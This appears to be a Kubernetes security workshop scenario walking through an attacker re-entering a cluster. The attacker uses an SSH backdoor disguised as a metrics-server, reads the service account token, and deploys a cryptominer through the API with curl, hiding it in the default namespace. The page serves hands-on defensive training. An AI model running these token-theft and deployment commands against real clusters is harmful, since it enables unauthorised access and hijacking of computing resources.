Persistence: Scenario 2 Attack¶
Backstory¶
Name: Red¶
- Opportunist
- Easy money via crypto-mining
- Uses automated scans of web IP space looking for known exploits and vulnerabilities
Motivations¶
- Red notices that public access to the cluster is gone and the cryptominers have stopped reporting in
- Red is excited to discover that the SSH server they left behind is still active
Re-establishing a Foothold¶
Red reconnects to the cluster using the SSH service disguised as a metrics-server on the cluster. While having access to an individual container may not seem like much of a risk at first glance, this container has two characteristics that make it very dangerous:
- There is a service account associated with the container which has been granted access to all kubernetes APIs
- The container is running with a privileged security context which grants it direct access to the host OS
Deploying Miners¶
Connect to the cluster via SSH:
echo "SSH password is: Sup3r_S3cr3t_P@ssw0rd"
ssh root@<service IP from attack 1> -p 8080
To restart our crypto mining, we will need the token for the pod service account:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
This time, we will create our miner in the default
namespace. Since it is common for lots of orphaned deployments to land here, maybe ours will go unnoticed:
export NAMESPACE=default
And we will be connecting to the kubernetes API from inside the cluster this time:
export API_SERVER="https://kubernetes.default.svc"
Lastly, we will need curl for this and our SSH image didn't come with it preinstalled:
apk update && apk add curl
Now the fun part, let's create our miner:
curl -k -X POST "$API_SERVER/apis/apps/v1/namespaces/$NAMESPACE/deployments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data-binary '{
"apiVersion":"apps/v1",
"kind":"Deployment",
"metadata":{
"labels":{
"run":"bitcoinero"},
"name":"bitcoinero",
"namespace":"'$NAMESPACE'"},
"spec":{
"replicas":1,
"selector":{
"matchLabels":{
"run":"bitcoinero"}},
"strategy":{
"rollingUpdate":{
"maxSurge":"25%",
"maxUnavailable":"25%"},
"type":"RollingUpdate"},
"template":{
"metadata":{
"labels":{
"run":"bitcoinero"}},
"spec":{
"containers":[{
"image":"securekubernetes/bitcoinero:latest",
"name":"bitcoinero",
"command":["./moneymoneymoney"],
"args":["-c","1","-l","10"],
"resources":{
"requests":{
"cpu":"100m",
"memory":"128Mi"},
"limits":{
"cpu":"200m",
"memory":"128Mi"}}}]}}}}'
Verify that the pod is running:
curl -k -X GET "$API_SERVER/api/v1/namespaces/$NAMESPACE/pods?labelSelector=run%3dbitcoinero" -H "Authorization: Bearer $TOKEN" -H "Accept: application/json" 2>/dev/null | grep phase
Time for some celebratory pizza!